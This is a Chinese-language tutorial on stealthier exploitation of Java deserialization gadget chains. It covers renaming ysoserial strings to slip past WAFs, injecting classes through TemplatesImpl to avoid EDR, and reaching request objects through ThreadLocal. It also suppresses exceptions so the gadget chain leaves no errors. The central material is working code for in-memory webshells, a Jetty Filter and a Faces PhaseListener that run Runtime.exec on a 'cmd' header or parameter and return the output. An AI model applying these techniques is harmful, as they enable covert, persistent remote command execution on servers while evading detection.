这篇文章主要讲解在Java反序列化漏洞利用中,当已经找到一条可以实现远程代码执行(RCE)的Gadget Chain后,如何更加隐蔽地进行攻击,主要包括以下几个方面:
- 绕过简单的WAF(Web应用防火墙)
- 运行时注入自定义类
- 利用ThreadLocal绕过数据过滤
- 劫持HTTP请求流程
- 使Gadget Chain更加隐蔽
绕过简单的WAF
原理
一些简单的WAF会通过检测序列化数据中是否包含特定的字符串(如"Runtime", "Process", "exec", "shell", "ysoserial"等)来判断是否存在攻击。
绕过方法
- 重命名类名和包名: 修改ysoserial等Gadget Chain生成工具的源代码,重新编译,避免使用默认的类名和包名。
- 避免直接调用敏感方法: 不要直接使用
Runtime.getRuntime().exec("whoami")
这样的代码,可以尝试其他方式实现相同的功能。 - 修改ysoserial中的字符串: ysoserial在生成类名时会使用"ysoserial.Pwner" + System.nanoTime()这样的字符串,可以修改这些字符串,避免被WAF检测到。
示例
修改ysoserial源码,将clazz.setName("ysoserial.Pwner" + System.nanoTime());
改为clazz.setName("MyClass" + System.nanoTime());
,将Reflections.setFieldValue(templates, "_name", "Pwnr");
改为Reflections.setFieldValue(templates, "_name", "MyName");
运行时注入自定义类
原理
传统的RCE Payload直接执行系统命令,容易被EDR(Endpoint Detection and Response)检测到。一种更隐蔽的方法是,只在运行时注入Java代码,利用服务器已有的类和方法来实现攻击目的,例如读写文件、访问内部服务等。
方法
- 修改ysoserial的Gadgets类: 修改
createTemplatesImpl
方法,使其可以接受Java代码作为参数,而不是直接执行命令。 - 利用TemplatesImpl定义多个类:
TemplatesImpl
类可以用来定义多个类,这样可以实现更复杂的功能,例如实现特定的接口,与服务器上的其他类进行交互。 - 从JAR文件导入类: 通过修改ysoserial的Gadgets类,可以实现从JAR文件导入类的功能,这样可以将自定义的类打包成JAR文件,然后在运行时注入到服务器。
示例
修改Gadgets类,接受Java代码:
java
public static <T> T createTemplatesImpl (final String code, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory ) throws Exception {
final T templates = tplClass.newInstance();
// ...
clazz.makeClassInitializer().insertAfter(code);
// ...
}
调用示例:
java
String code = "java.io.File file = new java.io.File(\"/tmp/test.txt\");" +
"java.io.FileWriter writer = new java.io.FileWriter(file);" +
"writer.write(\"Hello, world!\");" +
"writer.close();";
Object templates = Gadgets.createTemplatesImpl(code, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
利用ThreadLocal绕过数据过滤
原理
在某些情况下,服务器可能会对请求或响应中的数据进行过滤,导致无法直接传递Payload或获取数据。可以利用ThreadLocal来访问当前线程的上下文信息,获取HTTP请求和响应对象,从而绕过这些限制。
方法
- 分析ThreadLocal: 通过反射API,可以获取当前线程中存储的ThreadLocalMap,并遍历其中的Entry,找到与Web应用相关的对象,例如FacesContextImpl(Javax Faces)或ServletRequestAttributes(Spring)。
- 获取请求和响应对象: 从ThreadLocal中获取的Web应用对象中,可以获取HttpServletRequest和HttpServletResponse对象,从而读取请求参数、设置响应内容。
示例
获取Javax Faces中的请求和响应对象:
java
HttpServletRequest req = ((HttpServletRequest) FacesContext.getCurrentInstance().getExternalContext().getRequest());
String param = req.getParameter("param");
HttpServletResponse resp = ((HttpServletResponse) FacesContext.getCurrentInstance().getExternalContext().getResponse());
resp.getWriter().write("Result: " + param);
获取Spring中的请求和响应对象:
java
ServletRequestAttributes reqAttributes = (ServletRequestAttributes)RequestContextHolder.currentRequestAttributes();
String param = reqAttributes.getRequest().getParameter("param");
PrintWriter writer = reqAttributes.getResponse().getWriter();
writer.println("Result: " + param);
writer.flush();
劫持HTTP请求流程
原理
通过在运行时注册Filter(Jetty/Tomcat)或PhaseListener(Faces),可以拦截HTTP请求,实现持久化控制或执行恶意代码。
方法
- Jetty/Tomcat: 通过WebAppContext获取ServletContext,然后注册自定义的Filter,拦截特定URL的请求。
- Faces: 注册自定义的PhaseListener,在特定的Phase(例如RENDER_RESPONSE)执行恶意代码。
示例
在Jetty中注册Filter:
java
WebAppContext.Context ctx = (WebAppContext.Context) ((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest().getServletContext();
Field this0 = ctx.getClass().getDeclaredField("this$0");
this0.setAccessible(true);
WebAppContext appCtx = (WebAppContext)this0.get(ctx);
appCtx.addFilter(new FilterHolder(new Filter() {
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
if(((HttpServletRequest) servletRequest).getHeader("cmd") != null) {
String cmd = ((HttpServletRequest) servletRequest).getHeader("cmd");
String result = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
servletResponse.getWriter().write(result);
return;
}
filterChain.doFilter(servletRequest, servletResponse);
}
}), "/*", EnumSet.of(DispatcherType.ASYNC, DispatcherType.REQUEST, DispatcherType.FORWARD));
在Faces中注册PhaseListener:
java
LifecycleFactory lifecycleFactory = (LifecycleFactory) FactoryFinder.getFactory(FactoryFinder.LIFECYCLE_FACTORY);
Lifecycle applicationLifecycle = lifecycleFactory.getLifecycle(LifecycleFactory.DEFAULT_LIFECYCLE);
applicationLifecycle.addPhaseListener(new PhaseListener() {
@Override
public void afterPhase(PhaseEvent phaseEvent) {
try {
HttpServletRequest req = (HttpServletRequest) FacesContext.getCurrentInstance().getExternalContext().getRequest();
if (req.getParameter("cmd") != null) {
String cmd = req.getParameter("cmd");
String result = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
HttpServletResponse resp = ((HttpServletResponse) FacesContext.getCurrentInstance().getExternalContext().getResponse());
resp.getWriter().write(result);
}
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public void beforePhase(PhaseEvent phaseEvent) {}
@Override
public PhaseId getPhaseId() {
return PhaseId.RENDER_RESPONSE;
}
});
使Gadget Chain更加隐蔽
原理
在反序列化过程中,如果Gadget Chain的构造不当,可能会抛出异常,从而暴露攻击行为。为了使攻击更加隐蔽,需要深入理解Gadget Chain的代码流程,避免抛出异常。
方法
- 处理Translet异常: 在使用Translet相关的Gadget Chain时,可能会抛出
NullPointerException
,可以通过初始化namesArray
字段或设置transletVersion
字段来避免。 - 处理CommonsCollections异常: 在使用CommonsCollections相关的Gadget Chain时,可能会因为Transformer Chain的返回值不是Comparable类型而抛出异常,可以通过在Chain的末尾添加
ConstantTransformer("")
来避免。 - 处理CommonsBeanutils1异常: 在使用CommonsBeanutils1 Gadget Chain时,可能会因为
getOutputProperties
方法返回的对象不是Comparable类型而抛出异常,可以通过使用NullComparator
来避免。 - 将Gadget Chain封装在真实对象中: 如果应用程序期望接收特定类型的对象,可以将Gadget Chain封装在该类型的对象中,避免应用程序抛出类型转换异常。
示例
处理Translet异常:
java
clazz.getConstructors()[0].setBody("this.namesArray = new String[0];");
处理CommonsCollections异常:
java
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
transformer,
new ConstantTransformer("")
});
处理CommonsBeanutils1异常:
java
Constructor<?> nullComparatorConstructor = Reflections.getFirstCtor("java.util.Comparators$NullComparator");
Comparator<?> nullComparator = (Comparator<?>) nullComparatorConstructor.newInstance(true, null);
BeanComparator comparator = new BeanComparator("lowestSetBit", nullComparator);
总结
本文介绍了一些高级的Java反序列化漏洞利用技巧,包括绕过WAF和EDR、运行时注入自定义类、利用ThreadLocal绕过数据过滤、劫持HTTP请求流程、使Gadget Chain更加隐蔽等。这些技巧可以帮助攻击者更加隐蔽地进行攻击,但也提醒我们,需要不断加强安全防护,及时修补漏洞,才能有效地保护系统安全。